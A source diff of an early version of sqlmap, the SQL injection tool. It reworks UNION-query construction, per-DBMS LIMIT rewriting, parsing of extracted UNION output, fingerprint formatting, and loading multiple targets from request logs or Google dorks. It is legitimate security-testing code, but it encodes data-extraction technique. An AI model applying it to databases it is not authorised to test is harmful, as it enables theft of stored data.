||||||
if " FROM " in query:
|
if " FROM " in query and not query.startswith("SELECT ") and not "(SELECT " in query:
|
||||||
conditionIndex = query.rindex(" FROM ")
|
conditionIndex = query.rindex(" FROM ")
|
||||||
inbandQuery += "%s" % query[:conditionIndex]
|
inbandQuery += "%s" % query[:conditionIndex]
|
||||||
else:
|
else:
|
||||||
@@ -364,7 +401,7 @@ class Agent:
|
|||||||
else:
|
else:
|
||||||
inbandQuery += "NULL"
|
inbandQuery += "NULL"
|
||||||
|
|
||||||
if " FROM " in query:
|
if " FROM " in query and not query.startswith("SELECT ") and not "(SELECT " in query:
|
||||||
conditionIndex = query.rindex(" FROM ")
|
conditionIndex = query.rindex(" FROM ")
|
||||||
inbandQuery += "%s" % query[conditionIndex:]
|
inbandQuery += "%s" % query[conditionIndex:]
|
||||||
|
|
||||||
@@ -381,5 +418,55 @@ class Agent:
|
|||||||
return inbandQuery
|
return inbandQuery
|
||||||
|
|
||||||
|
|
||||||
|
def limitQuery(self, num, query, fieldsList=None):
|
||||||
|
"""
|
||||||
|
Take in input a query string and return its limited query string.
|
||||||
|
|
||||||
|
Example:
|
||||||
|
|
||||||
|
Input: SELECT user FROM mysql.users
|
||||||
|
Output: SELECT user FROM mysql.users LIMIT <num>, 1
|
||||||
|
|
||||||
|
@param num: limit number
|
||||||
|
@type num: C{int}
|
||||||
|
|
||||||
|
@param query: query to be processed
|
||||||
|
@type query: C{str}
|
||||||
|
|
||||||
|
@param fieldsList: list of fields within the query
|
||||||
|
@type fieldsList: C{list}
|
||||||
|
|
||||||
|
@return: limited query string
|
||||||
|
@rtype: C{str}
|
||||||
|
"""
|
||||||
|
|
||||||
|
limitedQuery = query
|
||||||
|
limitStr = queries[kb.dbms].limit
|
||||||
|
fromIndex = limitedQuery.index(" FROM ")
|
||||||
|
untilFrom = limitedQuery[:fromIndex]
|
||||||
|
fromFrom = limitedQuery[fromIndex+1:]
|
||||||
|
|
||||||
|
if kb.dbms in ( "MySQL", "PostgreSQL" ):
|
||||||
|
limitStr = queries[kb.dbms].limit % (num, 1)
|
||||||
|
limitedQuery += " %s" % limitStr
|
||||||
|
|
||||||
|
elif kb.dbms == "Oracle":
|
||||||
|
limitedQuery = "%s FROM (%s, %s" % (untilFrom, untilFrom, limitStr)
|
||||||
|
limitedQuery = limitedQuery % fromFrom
|
||||||
|
limitedQuery += "=%d" % (num + 1)
|
||||||
|
|
||||||
|
elif kb.dbms == "Microsoft SQL Server":
|
||||||
|
if re.search(" ORDER BY ", limitedQuery, re.I):
|
||||||
|
untilOrderChar = limitedQuery.index(" ORDER BY ")
|
||||||
|
limitedQuery = limitedQuery[:untilOrderChar]
|
||||||
|
|
||||||
|
limitedQuery = limitedQuery.replace("SELECT ", (limitStr % 1), 1)
|
||||||
|
limitedQuery = "%s WHERE %s " % (limitedQuery, fieldsList[0])
|
||||||
|
limitedQuery += "NOT IN (%s" % (limitStr % num)
|
||||||
|
limitedQuery += "%s %s)" % (fieldsList[0], fromFrom)
|
||||||
|
|
||||||
|
return limitedQuery
|
||||||
|
|
||||||
|
|
||||||
# SQL agent
|
# SQL agent
|
||||||
agent = Agent()
|
agent = Agent()
|
||||||
|
|||||||
@@ -75,7 +75,7 @@ def paramToDict(place, parameters=None):
|
|||||||
elem = element.split("=")
|
elem = element.split("=")
|
||||||
|
|
||||||
if len(elem) == 2:
|
if len(elem) == 2:
|
||||||
parameter = elem[0]
|
parameter = elem[0].replace(" ", "")
|
||||||
|
|
||||||
condition = not conf.testParameter
|
condition = not conf.testParameter
|
||||||
condition |= parameter in conf.testParameter
|
condition |= parameter in conf.testParameter
|
||||||
@@ -97,7 +97,7 @@ def paramToDict(place, parameters=None):
|
|||||||
warnMsg = "the testable parameter '%s' " % paramStr
|
warnMsg = "the testable parameter '%s' " % paramStr
|
||||||
warnMsg += "you provided is not into the %s" % place
|
warnMsg += "you provided is not into the %s" % place
|
||||||
|
|
||||||
if conf.googleDork:
|
if conf.multipleTargets:
|
||||||
warnMsg += ", skipping to next url"
|
warnMsg += ", skipping to next url"
|
||||||
|
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
@@ -112,7 +112,7 @@ def paramToDict(place, parameters=None):
|
|||||||
return testableParameters
|
return testableParameters
|
||||||
|
|
||||||
|
|
||||||
def formatFingerprint(versions=None):
|
def formatDBMSfp(versions=None):
|
||||||
"""
|
"""
|
||||||
This function format the back-end DBMS fingerprint value and return its
|
This function format the back-end DBMS fingerprint value and return its
|
||||||
values formatted as a human readable string.
|
values formatted as a human readable string.
|
||||||
@@ -128,6 +128,70 @@ def formatFingerprint(versions=None):
|
|||||||
return "%s %s" % (kb.dbms, versions)
|
return "%s %s" % (kb.dbms, versions)
|
||||||
elif isinstance(versions, (list, set, tuple)):
|
elif isinstance(versions, (list, set, tuple)):
|
||||||
return "%s %s" % (kb.dbms, " and ".join([version for version in versions]))
|
return "%s %s" % (kb.dbms, " and ".join([version for version in versions]))
|
||||||
|
elif not versions:
|
||||||
|
warnMsg = "unable to extensively fingerprint the back-end "
|
||||||
|
warnMsg += "DBMS version"
|
||||||
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
|
return kb.dbms
|
||||||
|
|
||||||
|
|
||||||
|
def __formatFingerprintString(values, chain=" or "):
|
||||||
|
string = "|".join([v for v in values])
|
||||||
|
return string.replace("|", chain)
|
||||||
|
|
||||||
|
|
||||||
|
def formatFingerprint(target, info):
|
||||||
|
"""
|
||||||
|
This function format the back-end operating system fingerprint value
|
||||||
|
and return its values formatted as a human readable string.
|
||||||
|
|
||||||
|
Example of info (kb.headersFp) dictionary:
|
||||||
|
|
||||||
|
{
|
||||||
|
'distrib': set(['Ubuntu']),
|
||||||
|
'type': set(['Linux']),
|
||||||
|
'technology': set(['PHP 5.2.6', 'Apache 2.2.9']),
|
||||||
|
'release': set(['8.10'])
|
||||||
|
}
|
||||||
|
|
||||||
|
Example of info (kb.bannerFp) dictionary:
|
||||||
|
|
||||||
|
{
|
||||||
|
'sp': set(['Service Pack 4']),
|
||||||
|
'dbmsVersion': '8.00.194',
|
||||||
|
'dbmsServicePack': '0',
|
||||||
|
'distrib': set(['2000']),
|
||||||
|
'dbmsRelease': '2000',
|
||||||
|
'type': set(['Windows'])
|
||||||
|
}
|
||||||
|
|
||||||
|
@return: detected back-end operating system based upon fingerprint
|
||||||
|
techniques.
|
||||||
|
@rtype: C{str}
|
||||||
|
"""
|
||||||
|
|
||||||
|
infoStr = ""
|
||||||
|
|
||||||
|
if info and "type" in info:
|
||||||
|
infoStr += "%s operating system: %s" % (target, __formatFingerprintString(info["type"]))
|
||||||
|
|
||||||
|
if "distrib" in info:
|
||||||
|
infoStr += " %s" % __formatFingerprintString(info["distrib"])
|
||||||
|
|
||||||
|
if "release" in info:
|
||||||
|
infoStr += " %s" % __formatFingerprintString(info["release"])
|
||||||
|
|
||||||
|
if "sp" in info:
|
||||||
|
infoStr += " %s" % __formatFingerprintString(info["sp"])
|
||||||
|
|
||||||
|
if "codename" in info:
|
||||||
|
infoStr += " (%s)" % __formatFingerprintString(info["codename"])
|
||||||
|
|
||||||
|
if "technology" in info:
|
||||||
|
infoStr += "\nweb application technology: %s" % __formatFingerprintString(info["technology"], ", ")
|
||||||
|
|
||||||
|
return infoStr
|
||||||
|
|
||||||
|
|
||||||
def getHtmlErrorFp():
|
def getHtmlErrorFp():
|
||||||
@@ -149,7 +213,7 @@ def getHtmlErrorFp():
|
|||||||
htmlVer = kb.htmlFp[0]
|
htmlVer = kb.htmlFp[0]
|
||||||
htmlParsed = htmlVer
|
htmlParsed = htmlVer
|
||||||
elif len(kb.htmlFp) > 1:
|
elif len(kb.htmlFp) > 1:
|
||||||
htmlParsed = "or ".join([htmlFp for htmlFp in kb.htmlFp])
|
htmlParsed = " or ".join([htmlFp for htmlFp in kb.htmlFp])
|
||||||
|
|
||||||
return htmlParsed
|
return htmlParsed
|
||||||
|
|
||||||
@@ -207,7 +271,7 @@ def getDirectories():
|
|||||||
if kb.docRoot:
|
if kb.docRoot:
|
||||||
directories.add(kb.docRoot)
|
directories.add(kb.docRoot)
|
||||||
|
|
||||||
pagePath = re.search('^/(.*)/', conf.path)
|
pagePath = re.search("^/(.*)/", conf.path)
|
||||||
|
|
||||||
if kb.docRoot and pagePath:
|
if kb.docRoot and pagePath:
|
||||||
pagePath = pagePath.groups()[0]
|
pagePath = pagePath.groups()[0]
|
||||||
@@ -429,13 +493,39 @@ def parsePasswordHash(password):
|
|||||||
|
|
||||||
|
|
||||||
def cleanQuery(query):
|
def cleanQuery(query):
|
||||||
|
# SQL SELECT statement
|
||||||
upperQuery = query.replace("select ", "SELECT ")
|
upperQuery = query.replace("select ", "SELECT ")
|
||||||
upperQuery = upperQuery.replace(" from ", " FROM ")
|
upperQuery = upperQuery.replace(" from ", " FROM ")
|
||||||
|
upperQuery = upperQuery.replace(" where ", " WHERE ")
|
||||||
|
upperQuery = upperQuery.replace(" group by ", " GROUP BY ")
|
||||||
|
upperQuery = upperQuery.replace(" order by ", " ORDER BY ")
|
||||||
|
upperQuery = upperQuery.replace(" having ", " HAVING ")
|
||||||
upperQuery = upperQuery.replace(" limit ", " LIMIT ")
|
upperQuery = upperQuery.replace(" limit ", " LIMIT ")
|
||||||
upperQuery = upperQuery.replace(" offset ", " OFFSET ")
|
upperQuery = upperQuery.replace(" offset ", " OFFSET ")
|
||||||
upperQuery = upperQuery.replace(" order by ", " ORDER BY ")
|
|
||||||
upperQuery = upperQuery.replace(" group by ", " GROUP BY ")
|
|
||||||
upperQuery = upperQuery.replace(" union all ", " UNION ALL ")
|
upperQuery = upperQuery.replace(" union all ", " UNION ALL ")
|
||||||
|
upperQuery = upperQuery.replace(" rownum ", " ROWNUM ")
|
||||||
|
|
||||||
|
# SQL data definition
|
||||||
|
upperQuery = upperQuery.replace(" create ", " CREATE ")
|
||||||
|
upperQuery = upperQuery.replace(" drop ", " DROP ")
|
||||||
|
upperQuery = upperQuery.replace(" truncate ", " TRUNCATE ")
|
||||||
|
upperQuery = upperQuery.replace(" alter ", " ALTER ")
|
||||||
|
|
||||||
|
# SQL data manipulation
|
||||||
|
upperQuery = upperQuery.replace(" insert ", " INSERT ")
|
||||||
|
upperQuery = upperQuery.replace(" update ", " UPDATE ")
|
||||||
|
upperQuery = upperQuery.replace(" delete ", " DELETE ")
|
||||||
|
upperQuery = upperQuery.replace(" merge ", " MERGE ")
|
||||||
|
|
||||||
|
# SQL data control
|
||||||
|
upperQuery = upperQuery.replace(" grant ", " GRANT ")
|
||||||
|
|
||||||
|
# SQL transaction control
|
||||||
|
upperQuery = upperQuery.replace(" start transaction ", " START TRANSACTION ")
|
||||||
|
upperQuery = upperQuery.replace(" begin work ", " BEGIN WORK ")
|
||||||
|
upperQuery = upperQuery.replace(" begin transaction ", " BEGIN TRANSACTION ")
|
||||||
|
upperQuery = upperQuery.replace(" commit ", " COMMIT ")
|
||||||
|
upperQuery = upperQuery.replace(" rollback ", " ROLLBACK ")
|
||||||
|
|
||||||
return upperQuery
|
return upperQuery
|
||||||
|
|
||||||
@@ -445,6 +535,7 @@ def setPaths():
|
|||||||
paths.SQLMAP_SHELL_PATH = "%s/shell" % paths.SQLMAP_ROOT_PATH
|
paths.SQLMAP_SHELL_PATH = "%s/shell" % paths.SQLMAP_ROOT_PATH
|
||||||
paths.SQLMAP_TXT_PATH = "%s/txt" % paths.SQLMAP_ROOT_PATH
|
paths.SQLMAP_TXT_PATH = "%s/txt" % paths.SQLMAP_ROOT_PATH
|
||||||
paths.SQLMAP_XML_PATH = "%s/xml" % paths.SQLMAP_ROOT_PATH
|
paths.SQLMAP_XML_PATH = "%s/xml" % paths.SQLMAP_ROOT_PATH
|
||||||
|
paths.SQLMAP_XML_BANNER_PATH = "%s/banner" % paths.SQLMAP_XML_PATH
|
||||||
paths.SQLMAP_OUTPUT_PATH = "%s/output" % paths.SQLMAP_ROOT_PATH
|
paths.SQLMAP_OUTPUT_PATH = "%s/output" % paths.SQLMAP_ROOT_PATH
|
||||||
paths.SQLMAP_DUMP_PATH = paths.SQLMAP_OUTPUT_PATH + "/%s/dump"
|
paths.SQLMAP_DUMP_PATH = paths.SQLMAP_OUTPUT_PATH + "/%s/dump"
|
||||||
paths.SQLMAP_FILES_PATH = paths.SQLMAP_OUTPUT_PATH + "/%s/files"
|
paths.SQLMAP_FILES_PATH = paths.SQLMAP_OUTPUT_PATH + "/%s/files"
|
||||||
@@ -454,8 +545,12 @@ def setPaths():
|
|||||||
paths.SQLMAP_CONFIG = "%s/sqlmap-%s.conf" % (paths.SQLMAP_ROOT_PATH, randomStr())
|
paths.SQLMAP_CONFIG = "%s/sqlmap-%s.conf" % (paths.SQLMAP_ROOT_PATH, randomStr())
|
||||||
paths.FUZZ_VECTORS = "%s/fuzz_vectors.txt" % paths.SQLMAP_TXT_PATH
|
paths.FUZZ_VECTORS = "%s/fuzz_vectors.txt" % paths.SQLMAP_TXT_PATH
|
||||||
paths.ERRORS_XML = "%s/errors.xml" % paths.SQLMAP_XML_PATH
|
paths.ERRORS_XML = "%s/errors.xml" % paths.SQLMAP_XML_PATH
|
||||||
paths.MSSQL_XML = "%s/mssql.xml" % paths.SQLMAP_XML_PATH
|
|
||||||
paths.QUERIES_XML = "%s/queries.xml" % paths.SQLMAP_XML_PATH
|
paths.QUERIES_XML = "%s/queries.xml" % paths.SQLMAP_XML_PATH
|
||||||
|
paths.GENERIC_XML = "%s/generic.xml" % paths.SQLMAP_XML_BANNER_PATH
|
||||||
|
paths.MSSQL_XML = "%s/mssql.xml" % paths.SQLMAP_XML_BANNER_PATH
|
||||||
|
paths.MYSQL_XML = "%s/mysql.xml" % paths.SQLMAP_XML_BANNER_PATH
|
||||||
|
paths.ORACLE_XML = "%s/oracle.xml" % paths.SQLMAP_XML_BANNER_PATH
|
||||||
|
paths.PGSQL_XML = "%s/postgresql.xml" % paths.SQLMAP_XML_BANNER_PATH
|
||||||
|
|
||||||
|
|
||||||
def weAreFrozen():
|
def weAreFrozen():
|
||||||
@@ -507,15 +602,20 @@ def expandAsteriskForColumns(expression):
|
|||||||
# If the user provided an asterisk rather than the column(s)
|
# If the user provided an asterisk rather than the column(s)
|
||||||
# name, sqlmap will retrieve the columns itself and reprocess
|
# name, sqlmap will retrieve the columns itself and reprocess
|
||||||
# the SQL query string (expression)
|
# the SQL query string (expression)
|
||||||
asterisk = re.search("^SELECT\s+\*\s+FROM\s+(\w+)[\.]+(\w+)\s*", expression, re.I)
|
asterisk = re.search("^SELECT\s+\*\s+FROM\s+([\w\.\_]+)\s*", expression, re.I)
|
||||||
|
|
||||||
if asterisk:
|
if asterisk:
|
||||||
infoMsg = "you did not provide the fields in your query. "
|
infoMsg = "you did not provide the fields in your query. "
|
||||||
infoMsg += "sqlmap will retrieve the column names itself"
|
infoMsg += "sqlmap will retrieve the column names itself"
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
conf.db = asterisk.group(1)
|
dbTbl = asterisk.group(1)
|
||||||
conf.tbl = asterisk.group(2)
|
|
||||||
|
if dbTbl and "." in dbTbl:
|
||||||
|
conf.db, conf.tbl = dbTbl.split(".")
|
||||||
|
else:
|
||||||
|
conf.tbl = dbTbl
|
||||||
|
|
||||||
columnsDict = conf.dbmsHandler.getColumns(onlyColNames=True)
|
columnsDict = conf.dbmsHandler.getColumns(onlyColNames=True)
|
||||||
|
|
||||||
if columnsDict and conf.db in columnsDict and conf.tbl in columnsDict[conf.db]:
|
if columnsDict and conf.db in columnsDict and conf.tbl in columnsDict[conf.db]:
|
||||||
@@ -531,7 +631,7 @@ def expandAsteriskForColumns(expression):
|
|||||||
return expression
|
return expression
|
||||||
|
|
||||||
|
|
||||||
def getRange(count, dump=False):
|
def getRange(count, dump=False, plusOne=False):
|
||||||
count = int(count)
|
count = int(count)
|
||||||
indexRange = None
|
indexRange = None
|
||||||
limitStart = 1
|
limitStart = 1
|
||||||
@@ -544,10 +644,59 @@ def getRange(count, dump=False):
|
|||||||
if isinstance(conf.limitStart, int) and conf.limitStart > 0 and conf.limitStart <= limitStop:
|
if isinstance(conf.limitStart, int) and conf.limitStart > 0 and conf.limitStart <= limitStop:
|
||||||
limitStart = conf.limitStart
|
limitStart = conf.limitStart
|
||||||
|
|
||||||
# TODO: also for Microsoft SQL Server in getColumns method?
|
if kb.dbms == "Oracle" or plusOne == True:
|
||||||
if kb.dbms == "Oracle":
|
|
||||||
indexRange = range(limitStart, limitStop + 1)
|
indexRange = range(limitStart, limitStop + 1)
|
||||||
else:
|
else:
|
||||||
indexRange = range(limitStart - 1, limitStop)
|
indexRange = range(limitStart - 1, limitStop)
|
||||||
|
|
||||||
return indexRange
|
return indexRange
|
||||||
|
|
||||||
|
|
||||||
|
def parseUnionPage(output, expression, partial=False, condition=None):
|
||||||
|
data = []
|
||||||
|
|
||||||
|
outCond1 = ( output.startswith(temp.start) and output.endswith(temp.stop) )
|
||||||
|
outCond2 = ( output.startswith("__START__") and output.endswith("__STOP__") )
|
||||||
|
|
||||||
|
if outCond1 or outCond2:
|
||||||
|
if outCond1:
|
||||||
|
regExpr = '%s(.*?)%s' % (temp.start, temp.stop)
|
||||||
|
elif outCond2:
|
||||||
|
regExpr = '__START__(.*?)__STOP__'
|
||||||
|
|
||||||
|
output = re.findall(regExpr, output, re.S)
|
||||||
|
|
||||||
|
if condition == None:
|
||||||
|
condition = (
|
||||||
|
kb.resumedQueries and conf.url in kb.resumedQueries.keys()
|
||||||
|
and expression in kb.resumedQueries[conf.url].keys()
|
||||||
|
)
|
||||||
|
|
||||||
|
if partial or not condition:
|
||||||
|
logOutput = "".join(["__START__%s__STOP__" % replaceNewlineTabs(value) for value in output])
|
||||||
|
dataToSessionFile("[%s][%s][%s][%s][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], expression, logOutput))
|
||||||
|
|
||||||
|
output = set(output)
|
||||||
|
|
||||||
|
for entry in output:
|
||||||
|
info = []
|
||||||
|
|
||||||
|
if "__DEL__" in entry:
|
||||||
|
entry = entry.split("__DEL__")
|
||||||
|
else:
|
||||||
|
entry = entry.split(temp.delimiter)
|
||||||
|
|
||||||
|
if len(entry) == 1:
|
||||||
|
data.append(entry[0])
|
||||||
|
else:
|
||||||
|
for value in entry:
|
||||||
|
info.append(value)
|
||||||
|
|
||||||
|
data.append(info)
|
||||||
|
else:
|
||||||
|
data = output
|
||||||
|
|
||||||
|
if len(data) == 1 and isinstance(data[0], str):
|
||||||
|
data = data[0]
|
||||||
|
|
||||||
|
return data
|
||||||
|
|||||||
@@ -219,7 +219,7 @@ class Dump:
|
|||||||
db = "All"
|
db = "All"
|
||||||
table = tableValues["__infos__"]["table"]
|
table = tableValues["__infos__"]["table"]
|
||||||
|
|
||||||
if not conf.googleDork:
|
if not conf.multipleTargets:
|
||||||
dumpDbPath = "%s%s%s" % (conf.dumpPath, os.sep, db)
|
dumpDbPath = "%s%s%s" % (conf.dumpPath, os.sep, db)
|
||||||
|
|
||||||
if not os.path.isdir(dumpDbPath):
|
if not os.path.isdir(dumpDbPath):
|
||||||
@@ -259,7 +259,7 @@ class Dump:
|
|||||||
blank = " " * (maxlength - len(column))
|
blank = " " * (maxlength - len(column))
|
||||||
self.__write("| %s%s" % (column, blank), n=False)
|
self.__write("| %s%s" % (column, blank), n=False)
|
||||||
|
|
||||||
if not conf.googleDork and field == fields:
|
if not conf.multipleTargets and field == fields:
|
||||||
dataToDumpFile(dumpFP, "\"%s\"" % column)
|
dataToDumpFile(dumpFP, "\"%s\"" % column)
|
||||||
else:
|
else:
|
||||||
dataToDumpFile(dumpFP, "\"%s\"," % column)
|
dataToDumpFile(dumpFP, "\"%s\"," % column)
|
||||||
@@ -267,7 +267,7 @@ class Dump:
|
|||||||
field += 1
|
field += 1
|
||||||
|
|
||||||
self.__write("|\n%s" % separator)
|
self.__write("|\n%s" % separator)
|
||||||
if not conf.googleDork:
|
if not conf.multipleTargets:
|
||||||
dataToDumpFile(dumpFP, "\n")
|
dataToDumpFile(dumpFP, "\n")
|
||||||
|
|
||||||
for i in range(count):
|
for i in range(count):
|
||||||
@@ -293,12 +293,12 @@ class Dump:
|
|||||||
field += 1
|
field += 1
|
||||||
|
|
||||||
self.__write("|")
|
self.__write("|")
|
||||||
if not conf.googleDork:
|
if not conf.multipleTargets:
|
||||||
dataToDumpFile(dumpFP, "\n")
|
dataToDumpFile(dumpFP, "\n")
|
||||||
|
|
||||||
self.__write("%s\n" % separator)
|
self.__write("%s\n" % separator)
|
||||||
|
|
||||||
if not conf.googleDork:
|
if not conf.multipleTargets:
|
||||||
dataToDumpFile(dumpFP, "\n")
|
dataToDumpFile(dumpFP, "\n")
|
||||||
dumpFP.close()
|
dumpFP.close()
|
||||||
|
|
||||||
|
|||||||
@@ -74,6 +74,10 @@ class sqlmapNotVulnerableException(Exception):
|
|||||||
pass
|
pass
|
||||||
|
|
||||||
|
|
||||||
|
class sqlmapThreadException(Exception):
|
||||||
|
pass
|
||||||
|
|
||||||
|
|
||||||
class sqlmapUnsupportedDBMSException(Exception):
|
class sqlmapUnsupportedDBMSException(Exception):
|
||||||
pass
|
pass
|
||||||
|
|
||||||
@@ -89,8 +93,8 @@ class sqlmapValueException(Exception):
|
|||||||
def unhandledException():
|
def unhandledException():
|
||||||
errMsg = "unhandled exception in %s, please copy " % VERSION_STRING
|
errMsg = "unhandled exception in %s, please copy " % VERSION_STRING
|
||||||
errMsg += "the command line and the following text and send by e-mail "
|
errMsg += "the command line and the following text and send by e-mail "
|
||||||
errMsg += "to bernardo.damele@gmail.com. I will fix it as soon as "
|
errMsg += "to sqlmap-users@lists.sourceforge.net. The developers will "
|
||||||
errMsg += "possible:\nsqlmap version: %s\n" % VERSION
|
errMsg += "fix it as soon as possible:\nsqlmap version: %s\n" % VERSION
|
||||||
errMsg += "Python version: %s\n" % sys.version.split()[0]
|
errMsg += "Python version: %s\n" % sys.version.split()[0]
|
||||||
errMsg += "Operating system: %s" % sys.platform
|
errMsg += "Operating system: %s" % sys.platform
|
||||||
return errMsg
|
return errMsg
|
||||||
@@ -108,6 +112,7 @@ exceptionsTuple = (
|
|||||||
sqlmapUndefinedMethod,
|
sqlmapUndefinedMethod,
|
||||||
sqlmapMissingPrivileges,
|
sqlmapMissingPrivileges,
|
||||||
sqlmapNotVulnerableException,
|
sqlmapNotVulnerableException,
|
||||||
|
sqlmapThreadException,
|
||||||
sqlmapUnsupportedDBMSException,
|
sqlmapUnsupportedDBMSException,
|
||||||
sqlmapUnsupportedFeatureException,
|
sqlmapUnsupportedFeatureException,
|
||||||
sqlmapValueException,
|
sqlmapValueException,
|
||||||
|
|||||||
@@ -28,6 +28,7 @@ import cookielib
|
|||||||
import logging
|
import logging
|
||||||
import os
|
import os
|
||||||
import re
|
import re
|
||||||
|
import socket
|
||||||
import time
|
import time
|
||||||
import urllib2
|
import urllib2
|
||||||
import urlparse
|
import urlparse
|
||||||
@@ -81,6 +82,114 @@ def __urllib2Opener():
|
|||||||
urllib2.install_opener(opener)
|
urllib2.install_opener(opener)
|
||||||
|
|
||||||
|
|
||||||
|
def __feedTargetsDict(reqFile, addedTargetUrls):
|
||||||
|
fp = open(reqFile, "r")
|
||||||
|
|
||||||
|
fread = fp.read()
|
||||||
|
fread = fread.replace("\r", "")
|
||||||
|
|
||||||
|
reqResList = fread.split("======================================================")
|
||||||
|
|
||||||
|
for request in reqResList:
|
||||||
|
if not re.search ("^[\n]*(GET|POST).*?\sHTTP\/", request, re.I):
|
||||||
|
continue
|
||||||
|
|
||||||
|
if re.search("^[\n]*(GET|POST).*?\.(gif|jpg|png)\sHTTP\/", request, re.I):
|
||||||
|
continue
|
||||||
|
|
||||||
|
getPostReq = False
|
||||||
|
url = None
|
||||||
|
host = None
|
||||||
|
method = None
|
||||||
|
data = None
|
||||||
|
cookie = None
|
||||||
|
params = False
|
||||||
|
lines = request.split("\n")
|
||||||
|
|
||||||
|
for line in lines:
|
||||||
|
if len(line) == 0 or line == "\n":
|
||||||
|
continue
|
||||||
|
|
||||||
|
if line.startswith("GET ") or line.startswith("POST "):
|
||||||
|
if line.startswith("GET "):
|
||||||
|
index = 4
|
||||||
|
else:
|
||||||
|
index = 5
|
||||||
|
|
||||||
|
url = line[index:line.index(" HTTP/")]
|
||||||
|
method = line[:index-1]
|
||||||
|
|
||||||
|
if "?" in line and "=" in line:
|
||||||
|
params = True
|
||||||
|
|
||||||
|
getPostReq = True
|
||||||
|
|
||||||
|
elif "?" in line and "=" in line and ": " not in line:
|
||||||
|
data = line
|
||||||
|
params = True
|
||||||
|
|
||||||
|
elif ": " in line:
|
||||||
|
key, value = line.split(": ", 1)
|
||||||
|
|
||||||
|
if key.lower() == "cookie":
|
||||||
|
cookie = value
|
||||||
|
elif key.lower() == "host":
|
||||||
|
host = value
|
||||||
|
|
||||||
|
if getPostReq and params:
|
||||||
|
if not url.startswith("http"):
|
||||||
|
url = "http://%s%s" % (host, url)
|
||||||
|
|
||||||
|
if not kb.targetUrls or url not in addedTargetUrls:
|
||||||
|
kb.targetUrls.add(( url, method, data, cookie ))
|
||||||
|
addedTargetUrls.add(url)
|
||||||
|
|
||||||
|
|
||||||
|
def __setMultipleTargets():
|
||||||
|
"""
|
||||||
|
Define a configuration parameter if we are running in multiple target
|
||||||
|
mode.
|
||||||
|
"""
|
||||||
|
|
||||||
|
initialTargetsCount = len(kb.targetUrls)
|
||||||
|
addedTargetUrls = set()
|
||||||
|
|
||||||
|
if not conf.list:
|
||||||
|
return
|
||||||
|
|
||||||
|
debugMsg = "parsing targets list from '%s'" % conf.list
|
||||||
|
logger.debug(debugMsg)
|
||||||
|
|
||||||
|
if not os.path.exists(conf.list):
|
||||||
|
errMsg = "the specified list of targets does not exist"
|
||||||
|
raise sqlmapFilePathException, errMsg
|
||||||
|
|
||||||
|
if os.path.isfile(conf.list):
|
||||||
|
__feedTargetsDict(conf.list, addedTargetUrls)
|
||||||
|
|
||||||
|
elif os.path.isdir(conf.list):
|
||||||
|
files = os.listdir(conf.list)
|
||||||
|
files.sort()
|
||||||
|
|
||||||
|
for reqFile in files:
|
||||||
|
if not re.search("([\d]+)\-request", reqFile):
|
||||||
|
continue
|
||||||
|
|
||||||
|
__feedTargetsDict(os.path.join(conf.list, reqFile), addedTargetUrls)
|
||||||
|
|
||||||
|
else:
|
||||||
|
errMsg = "the specified list of targets is not a file "
|
||||||
|
errMsg += "nor a directory"
|
||||||
|
raise sqlmapFilePathException, errMsg
|
||||||
|
|
||||||
|
updatedTargetsCount = len(kb.targetUrls)
|
||||||
|
|
||||||
|
if updatedTargetsCount > initialTargetsCount:
|
||||||
|
infoMsg = "sqlmap parsed %d " % (updatedTargetsCount - initialTargetsCount)
|
||||||
|
infoMsg += "testable requests from the targets list"
|
||||||
|
logger.info(infoMsg)
|
||||||
|
|
||||||
|
|
||||||
def __setGoogleDorking():
|
def __setGoogleDorking():
|
||||||
"""
|
"""
|
||||||
This function checks if the way to request testable hosts is through
|
This function checks if the way to request testable hosts is through
|
||||||
@@ -109,7 +218,7 @@ def __setGoogleDorking():
|
|||||||
errMsg += "Google dork expression"
|
errMsg += "Google dork expression"
|
||||||
raise sqlmapGenericException, errMsg
|
raise sqlmapGenericException, errMsg
|
||||||
|
|
||||||
kb.targetUrls = googleObj.getTargetUrls()
|
googleObj.getTargetUrls()
|
||||||
|
|
||||||
if kb.targetUrls:
|
if kb.targetUrls:
|
||||||
logMsg = "sqlmap got %d results for your " % len(matches)
|
logMsg = "sqlmap got %d results for your " % len(matches)
|
||||||
@@ -120,7 +229,7 @@ def __setGoogleDorking():
|
|||||||
else:
|
else:
|
||||||
logMsg += "%d " % len(kb.targetUrls)
|
logMsg += "%d " % len(kb.targetUrls)
|
||||||
|
|
||||||
logMsg += "of them are testable hosts"
|
logMsg += "of them are testable targets"
|
||||||
logger.info(logMsg)
|
logger.info(logMsg)
|
||||||
else:
|
else:
|
||||||
errMsg = "sqlmap got %d results " % len(matches)
|
errMsg = "sqlmap got %d results " % len(matches)
|
||||||
@@ -129,9 +238,9 @@ def __setGoogleDorking():
|
|||||||
raise sqlmapGenericException, errMsg
|
raise sqlmapGenericException, errMsg
|
||||||
|
|
||||||
|
|
||||||
def __setRemoteDBMS():
|
def __setDBMS():
|
||||||
"""
|
"""
|
||||||
Checks and set the back-end DBMS option.
|
Force the back-end DBMS option.
|
||||||
"""
|
"""
|
||||||
|
|
||||||
if not conf.dbms:
|
if not conf.dbms:
|
||||||
@@ -159,7 +268,7 @@ def __setRemoteDBMS():
|
|||||||
|
|
||||||
|
|
||||||
def __setThreads():
|
def __setThreads():
|
||||||
if conf.threads <= 0:
|
if not isinstance(conf.threads, int) or conf.threads <= 0:
|
||||||
conf.threads = 1
|
conf.threads = 1
|
||||||
|
|
||||||
|
|
||||||
@@ -262,9 +371,6 @@ def __setHTTPMethod():
|
|||||||
"""
|
"""
|
||||||
|
|
||||||
if conf.method:
|
if conf.method:
|
||||||
debugMsg = "setting the HTTP method to perform HTTP requests through"
|
|
||||||
logger.debug(debugMsg)
|
|
||||||
|
|
||||||
conf.method = conf.method.upper()
|
conf.method = conf.method.upper()
|
||||||
|
|
||||||
if conf.method not in ("GET", "POST"):
|
if conf.method not in ("GET", "POST"):
|
||||||
@@ -277,6 +383,28 @@ def __setHTTPMethod():
|
|||||||
else:
|
else:
|
||||||
conf.method = "GET"
|
conf.method = "GET"
|
||||||
|
|
||||||
|
debugMsg = "setting the HTTP method to %s" % conf.method
|
||||||
|
logger.debug(debugMsg)
|
||||||
|
|
||||||
|
|
||||||
|
def __setHTTPExtraHeaders():
|
||||||
|
if conf.headers:
|
||||||
|
